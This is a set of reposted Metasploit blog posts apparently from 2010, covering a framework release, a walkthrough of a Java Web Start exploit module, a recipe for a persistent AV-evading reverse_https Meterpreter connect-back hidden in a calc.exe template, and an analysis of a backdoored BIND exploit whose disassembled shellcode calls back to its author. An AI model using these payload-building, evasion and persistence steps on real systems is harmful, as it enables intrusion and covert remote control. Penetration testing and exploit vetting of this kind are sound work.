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Originally Posted by hdm



Since mid-December, the Metasploit team has been working non-stop towards version 3.4.0 of the Metasploit Framework. The final release is still scheduled for mid-May, but I wanted to share some of the upcoming features, available today from the development tree. Version 3.4.0 includes major improvements to the Meterpreter payload, the expansion of the framework’s brute force capabilities, and the complete overhaul of the backend database schema and event subsystem. In addition, more than 60 exploit modules and 40 auxiliary modules have been added since 3.3.3, with more to go before the final release. Our team of 6 dedicated staff, along with our external contributors and the supporting teams within Rapid7, have been cranking out updates and improving the quality of the framework by leaps and bounds. While previous blog posts have covered some of the new features, the draft release notes are up and cover the feature list in greater depth.


I am also pleased to announce that we will be introducing Metasploit Express, an easy to use security solution that is designed to bring penetration testing capabilities to security professionals everywhere. When I first became involved in security, well before the Metasploit Project even started, I had a vision for a security product that would simplify and automate many of the common penetration testing tasks I did on a daily basis. As the Metasploit Project has grown, most of the components required to build this product have ended up in the Metasploit Framework.


Today, tens of thousands of security professionals use the Metasploit Framework and the modules within it for a variety of security tasks. The challenge with using Metasploit during a penetration test is knowing which modules to run, with what payloads, in what order, and with what parameters. Knowing how to use the console and combine modules effectively is one of the most complex skills that a security professional can learn. The framework today contains almost 550 exploits, 200 payloads, and 260 auxiliary modules that can be mixed and matched to do just about anything. This doesn't count the extensive Meterpreter payload or the library of scripts provided in the base installation.


For a security professional trying to get a job done, mastering the basics doesn't take long, but leveraging the full power of the framework can take some time and often requires custom scripting.


This is where Metasploit Express comes into play.


Metasploit Express is essentially three pieces -- the Metasploit Framework that everyone uses today with no special modifications of any kind; the Workflow Manager, which handles the heavy lifting, automation, and analysis; and the User Interface, which provides a simple way to conduct common tasks, view results, interact with compromised targets, and generate reports.


To be absolutely clear, Metasploit Express is a commercial product, complete with a price tag and a support infrastructure. The availability of Metasploit Express does not change the licensing or the development model for the Metasploit Framework, nor do we intend to start charging for the framework at any point in the future. The Metasploit Framework is now and will always be an open-source project in the truest sense, available under one of the most liberal licenses available (New BSD). The open source framework provides the tools that Metasploit Express uses to streamline common penetration testing tasks. This dependency will ensure that new exploits, bug fixes, and payload features will always end up in the open source development tree before being incorporated within the Metasploit Express product. Just like with NeXpose Community Edition, there will be no time delay of modules or commercial restrictions on the use of the open source framework.


For Metasploit to be successful in the long run, it must be much easier to use by a wider range of security professionals. Metasploit Express gets us closer to this goal by making penetration testing accessible to the entire security community. Sales of Metasploit Express provide a path to even faster development of the open source framework and a long-term solution to sustaining the project.


You can find more details about Metasploit Express here, with much more to come as we approach the official release date.


I hope you are as excited about the product as I am :)



Originally Posted by jduck



Back on April 9th, Tavis Ormandy dropped a bit of a bomb shell on the full-disclosure mailing list. To summarize, Tavis found that a DBD attack was possible utilizing the latest Java Runtime. He reported it to Oracle/Sun, which assessed its severity and stated they didn't plan to patch it out of cycle. Based on his tweets, Tavis found out that other researchers were aware of this issue, and decided to disclose the issue to the public without delay. Shortly after the disclosure, Ruben Santamarta asserted that he had independently discovered it as well, and disclosed his version. That's means at least three independent researchers knew of the issue when it was released on Friday.


Early this afternoon, I committed a Metasploit Framework exploit module for this issue. Before I go any further, let me explain what is required for this module to work. You must run the module as root on a machine that does not run an SMB server. This way, fetching the UNC path will fail using SMB and fall back to the WebDAV Mini-Redirector. That leads me to the second requirement. If the target host does not have the WebClient service enabled, this module will not be able to obtain a session. You can check the status of the WebClient service like this:

C:\>sc query webclient | find "STATE"
        STATE              : 4  RUNNING

This service controls whether or not the WebDAV Mini-Redirector functionality is enabled. Steve Tornio of OSVDB and his desktop integration guy pointed this out. Thank you very much! BTW, ^5 (high five) for disabling this service by default in your environment. I recommend others follow suit to harden their systems...


BTW, exploiting this vulnerability using SMB is most likely possible, but wasn't investigated. If so, all this mess about disabling the WebDAV Mini-Redirector becomes irrelevant. Blocking an SMB version of this exploit would be trickier, and usually means firewalling outbound SMB traffic.


Now, on to using the exploit module. To do most of my testing I use the recently discussed resource script functionality.



$ cat java_ws_arginject.msfrc
use exploit/windows/browser/java_ws_arginject_altjvm
set LPORT 31337
set PAYLOAD windows/meterpreter/reverse_tcp

Running msfconsole using this resource script looks like this:

$ msfconsole -r java_ws_arginject.msfrc

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888

       =[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 542 exploits - 257 auxiliary
+ -- --=[ 208 payloads - 23 encoders - 8 nops
       =[ svn r9085 updated today (2010.04.15)

resource (java_ws_arginject.msfrc)> use exploit/windows/browser/java_ws_arginject_altjvm
resource (java_ws_arginject.msfrc)> set LHOST
resource (java_ws_arginject.msfrc)> set LPORT 31337
LPORT => 31337
resource (java_ws_arginject.msfrc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (java_ws_arginject.msfrc)> exploit
[*] Exploit running as background job.
msf exploit(java_ws_arginject_altjvm) >
[*] Started reverse handler on
[*] Using URL:
[*]  Local IP:
[*] Server started.

Now, when the target visits this URL, the following appears:

[*] Request for "/" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ...
[*] Responding to "GET /3GE9ACbFvazjwOL/" request from
[*] Sending HTML to
[*] Responding to WebDAV "OPTIONS /" request from
[*] Request for "/3GE9ACbFvazjwOL" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ...
[*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/" request from
[*] Sending directory multistatus for /3GE9ACbFvazjwOL/ ...
[*] Request for "/3GE9ACbFvazjwOL" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ...
[*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/" request from
[*] Sending directory multistatus for /3GE9ACbFvazjwOL/ ...
[*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/jvm.dll" request from
[*] Sending DLL multistatus for /3GE9ACbFvazjwOL/jvm.dll ...
[*] Responding to "GET /3GE9ACbFvazjwOL/jvm.dll" request from
[*] Sending DLL to
[*] (UUID:horcpvyf) Sending stage (748032 bytes) to
[*] Meterpreter session 1 opened ( ->



As you can see, the exploit was successful and yielded a Meterpreter session.


The vulnerable test machine was an out-of-date Windows XP SP3 machine running Java Runtime Environment 6 Update 18. As Tavis said, it should work on any machine using JRE 6 Update 10 or newer.


Yesterday, HD pointed me at a Wepawet analysis that included what appeared to be an attempt to exploit this vulnerability. Unfortunately, I wasn't able to download the calc223.jar payload that was referenced in the analysis -- if you have it, please share! Apparently, that was enough to put the Oracle security process into fast forward. Today, they released an update to correct the issue, as well as an advisory and a blog post to spread the word. Nice work Oracle/Sun!


On a side note (yes, another one), during testing I noticed some odd crashes that would occur occasionally when the DLL failed to load. When I went to close the browser, it would crash de-referencing data that appeared to be an ASCII string! Oh no! I haven't looked further, but I'm guessing it is the second, mysterious CVE that Oracle mentioned today. Hard to tell for sure since Oracle doesn't generally like to confirm or deny that kind of information...

Originally Posted by hdm



Botnet agents and malware go through inordinate lengths to hide their command and control traffic. From a penetration testing perspective, emulating these types of communication channels is possible, but often requires a custom toolkit to be deployed to the target. In this post I will walk through using the standard Metasploit Meterpreter payload as a persistent encrypted remote control tool.


First things first, grab the latest version of Metasploit (3.3.3) and update to the latest SVN snapshot. Revision r9058 or newer will work for this example.


Next, we need to setup a listening station for the remote system to connect to. This is the system that will be running msfconsole and handling the incoming connections. The two important variables here are the hostname or IP address (LHOST) and the listening port (LPORT). If you do not have access to a dedicated external system, you will need to configure your local firewall or NAT gateway to forward LPORT from the external interface to your listener. In this example, we want to use the brand new reverse_https stager, which in addition to going over SSL has the benefit of resolving DNS at runtime. This stager, along with reverse_tcp_dns, allows an actual hostname to be specified in the LHOST parameter. If you are using a dynamic DNS service, this would allow the reverse connect payload to follow your DNS changes.


Assuming we are running Metasploit on a typical broadband connection and behind a NAT gateway, we would first register our system with a dynamic DNS service (, choose a listening port (8443) and then forward this from the NAT gateway to our internal machine running Metasploit. Once the port forward has been configured and the dynamic DNS entry has been activated, we can start msfconsole:



$ msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https    
msf exploit(handler) > set LPORT 8443
msf exploit(handler) > set LHOST
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
[*] HTTPS listener started on
[*] Starting the payload handler...

Once the listener has been configured, you can test whether the handler is working properly by using a third-party web site test tool that supports SSL. I have had success using WAVE, but any "site check" tool will indicate whether the handler is accessible. If you access the handler URL in your browser, you should see an invalid SSL certificate prompt followed by a "No site configured at this address" message.


After the listener has been configured and tested, its time to create the actual persistent Meterpreter connect-back script. In order to avoid some of the more bothersome AV products, it makes sense to use a benign executable as a "template" and inject the payload inside, then wrap this all in a script. On your system running Metasploit, identify an executable to use as the template. I often use the standard calc.exe that ships with Windows operating system, but any moderately-sized EXE will do. Once the template has been identified, create a reverse_https Meterpreter, using the EXE template, wrapped in a script, with a persistent retry. The following command does this:



$ msfpayload windows/meterpreter/reverse_https LPORT=8443 R |
msfencode -x calc.exe -t loop-vbs -o final.vbs

[*] x86/shikata_ga_nai succeeded with size 408 (iteration=1)
$ ls -la final.vbs
-rw-r--r-- 1 hdm hdm 955641 Apr 13 08:51 final.vbs

Finally, execute the VBS on the target system, and enjoy a 100% SSL-encrypted, DNS-aware, persistent remote connect-back. The reconnect interval can be changed by editing the VBS script itself (all the way at the bottom). To stop the connect-back, simply kill the wscript.exe process. To make this persist across reboots, add this to the standard Run key or the Startup folder.



[*] A.B.C.D:53386 Request received for /AVkev...
[*] A.B.C.D:53386 Staging connection for target Vkev received...
[*] Patching Target ID Vkev into DLL
[*] A.B.C.D:53387 Request received for /BVkev...
[*] A.B.C.D:53387 Stage connection for target Vkev received...
[*] Meterpreter session 2 opened ( -> A.B.C.D:53387)

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: metal\dev

meterpreter > ps

Process list

PID   Name                          Arch  Session  User       Path
---   ----                          ----  -------  ----       ----
0     [System Process]                                       
4     System                                                 
404   smss.exe                                               
520   csrss.exe                                              
584   wininit.exe                                            
608   csrss.exe                                              
648   services.exe                                           
668   lsass.exe                                              
676   lsm.exe                                                
792   svchost.exe                                            
852   nvvsvc.exe                                             
892   svchost.exe                                            



For more information about how the reverse_https and reverse_tcp_dns stagers work, I recommend reading the source. While the initial stage supports SSL, DNS, proxies, and authentication, the second stage does not support the last two features (yet).

Originally Posted by hdm



This afternoon a question came up on the #metasploit IRC channel ( The questioner asked: "Should a good penetration tester know assembly?". This lead to some discussion about when and where assembly language skills become important in the scope of a penetration test. My normal response to "Should I learn [something]?" questions is always a resounding YES; it is hard to know too much as a penetration tester or system auditor.


Little things, like knowledge of beginner mistakes in configuration files, can go a long way to a successful penetration test. In the case of assembly, it helps, just like everything else does, but its not always required or even used frequently. Assembly language programming is mandatory for developing your own exploits and for tweaking others, but for the most part, it is not the defining factor in whether you will gain access to a network.


There is one critical task where deep knowledge of assembly (and C) is required; validating public exploits. Over the years, dozens of fake exploits have been released; some of these delete all of the files from the drive, while others install a persistent backdoor. There is one other class of backdoored exploits that you rarely hear about, but are still found on public exploit repositories. These exploits look correct, function correctly, but also provide the exploit author with access to the system you exploited. The tricky thing about these exploits is that to find the backdoor, you have to decode and understand the shellcode, which is invariably written in assembly language.


Lets go through a real-life example. In 2001, Gustavo Scotti of Tamandua Laboratories (now Axur Information Security) released an exploit for the BIND TSIG buffer overflow vulnerability published by Network Associates (now McAfee). This exploit, named tsl_bind.c can still be found on a number of exploit repositories, including PacketStorm. This exploit looks and works as advertised, except for one tiny thing. Lets take a closer look at the Linux shellcode in this exploit:



/* SHELLCODE - this is a connect back shellcode */
u8 shellcode[]=



Nothing too sinister jumps out at first glance, but lets actually look at the instructions:



00000000  3C90              cmp al,0x90
00000002  89E6              mov esi,esp
00000004  83C640            add esi,byte +0x40
00000007  C70602000BAC      mov dword [esi],0xac0b0002
0000000D  C7460497C447A0    mov dword [esi+0x4],0xa047c497
00000014  31C0              xor eax,eax
00000058  7432              jz 0x8c
0000005A  8B0424            mov eax,[esp]
0000005D  894608            mov [esi+0x8],eax
00000060  90                nop
00000061  BD7F000001        mov ebp,0x100007f
00000066  896E04            mov [esi+0x4],ebp
00000069  C70603803586      mov dword [esi],0x86358003
0000006F  B804000000        mov eax,0x4



In the code above (see here for a full listing), we can see that there are actually TWO reverse connections. One which goes to (0x97c447a0) and another that goes to (0x7f000001). The address is substituted when the exploit is run, but the first address is not. In essence, every time this exploit succeeds, it will provide you with a shell, but also connects back to the author's IP address and send a blob of information about the user running the exploit.


If you pipe the shellcode into Metasploit's msfencode, you can see it in action:



$ msfencode -e generic/none -a x86 -p linux -t elf -o tsl.bin < shellcode.raw
$ chmod +x ./tsl.bin
$ strace -f -qix ./tsl.bin
[ Process PID=15282 runs in 32 bit mode. ]
connect(3, {sa_family=AF_INET, sin_port=htons(2988), sin_addr=inet_addr("")}, 16
write(3, "\3\2005\206\177\0\0\1\1\0\0\0", 12) = 12
connect(4, {sa_family=AF_INET, sin_port=htons(2987), sin_addr=inet_addr("")}, 16) = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
execve("/bin/sh",...)= 0



To add insult to injury, the backdoor IP gets the shellconnection first!


In summary, if you are using exploits from public repositories for your penetration testing engagements, you do need to learn assembly code. Intel x86 is a must, but also any other architecture you happen to test (PowerPC, SPARC, ARM, etc).


This is another reason to prefer the Metasploit Framework over an unveted public exploit. Every single exploit, encoder, nop generator, and payload in Metasploit has been reviewed by a member of the core team. A side effect of us converting public exploits into Metasploit modules is the review and analysis process. Public code is first broken down into the transport, vector, return address, and payload components, and each piece is then reimplemented using the Metasploit API. This process leads to reliable exploit code that doesn't depend on a specific payload or transport.


Update: A few folks have asked about getting started guides for x86 assembly. The resource I find useful is the tutorial section of Linux Assembly project. Once you have the basics down, take a look through the shellcode directory of the Metasploit Framework and study up with the NASM Manual.


Update: In addition to the comments below, the Programming From the Ground Up book was recommended, as well as the ASM Community web site.


Update: Based on gscotti's comments below (the original author), I clarified the post to indicate that only a reverse connect is made, not an actual shell. His comment states that over 30,000 IPs connected back since he released it.

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